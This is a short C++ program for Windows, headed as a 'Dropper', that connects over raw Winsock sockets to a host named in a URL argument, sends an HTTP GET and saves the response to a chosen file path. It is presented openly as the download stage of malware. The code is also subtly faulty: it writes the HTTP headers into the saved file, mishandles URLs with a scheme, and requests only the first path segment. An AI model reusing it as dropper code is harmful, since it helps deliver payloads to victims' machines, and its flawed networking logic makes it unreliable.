C/C++ Windows – Dropper

#include <iostream>
#include <fstream>
#include <string>
#include <sstream>
#include <stdio.h>
#include <winsock2.h>
void parseURL(std::string url, std::string& host, std::string& request, int& port)
{
    // Parse the URL to get the host, request, and port
    std::stringstream ss(url);
    std::getline(ss, host, '/');
    std::getline(ss, request, '/');

    // Check if a specific port is provided in the URL
    std::stringstream portStream(host.substr(host.find(':') + 1));
    if (portStream >> port)
    {
        host = host.substr(0, host.find(':'));
    }
}
void startWinsock(WSADATA& wsaData)
{
    // Start Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
    {
        std::cerr << "WSAStartup failed. Error: " << WSAGetLastError() << std::endl;
        exit(1);
    }
}
SOCKET createSocket()
{
    SOCKET socketFD;
    // Create a socket
    socketFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (socketFD == INVALID_SOCKET)
    {
        std::cerr << "Could not create socket. Error: " << WSAGetLastError() << std::endl;
        WSACleanup();
        exit(1);
    }
    return socketFD;
}
void connectToServer(SOCKET socketFD, std::string host, int port)
{
    struct hostent* server;
    struct sockaddr_in serverAddress;

    // Get the IP address of the host
    server = gethostbyname(host.c_str());
    if (server == NULL)
    {
        std::cerr << "Could not resolve host. Error: " << WSAGetLastError() << std::endl;
        closesocket(socketFD);
        WSACleanup();
        exit(1);
    }

    // Fill in the server address
    serverAddress.sin_family = AF_INET;
    serverAddress.sin_port = htons(port);
    serverAddress.sin_addr.s_addr = *((unsigned long*)server->h_addr);

    // Connect to the server
    if (connect(socketFD, (struct sockaddr*)&serverAddress, sizeof(serverAddress)) == SOCKET_ERROR)
    {
        std::cerr << "Could not connect to server. Error: " << WSAGetLastError() << std::endl;
        closesocket(socketFD);
        WSACleanup();
        exit(1);
    }
}
void sendRequest(SOCKET socketFD, std::string host, std::string request)
{
    // Send the request
    std::string httpRequest = "GET /" + request + " HTTP/1.1\r\nHost: " + host + "\r\nConnection: close\r\n\r\n";
    if (send(socketFD, httpRequest.c_str(), httpRequest.size(), 0) == SOCKET_ERROR)
    {
        std::cerr << "Could not send request. Error: " << WSAGetLastError() << std::endl;
        closesocket(socketFD);
        WSACleanup();
        exit(1);
    }
}
void downloadFile(SOCKET socketFD, std::string destination)
{
    // Download the file
    std::ofstream outputFile;
    outputFile.open(destination, std::ios::binary);

    char buffer[1024];
    int bytesReceived;

    while ((bytesReceived = recv(socketFD, buffer, sizeof(buffer), 0)) > 0)
    {
        outputFile.write(buffer, bytesReceived);
    }

    outputFile.close();

    closesocket(socketFD);
    WSACleanup();
}
int main(int argc, char* argv[])
{
    // Check for the correct number of arguments
    if (argc != 3)
    {
        std::cerr << "Usage: " << argv[0] << " [URL] [destination]" << std::endl;
        return 1;
    }

    std::string url = argv[1];
    std::string destination = argv[2];
    std::string host;
    std::string request;
    int port = 80;

    parseURL(url, host, request, port);
    WSADATA wsaData;
    startWinsock(wsaData);
    SOCKET socketFD = createSocket();
    connectToServer(socketFD, host, port);
    sendRequest(socketFD, host, request);
    downloadFile(socketFD, destination);

    std::cout << "File downloaded and saved to: " << destination << std::endl;

    return 0;
}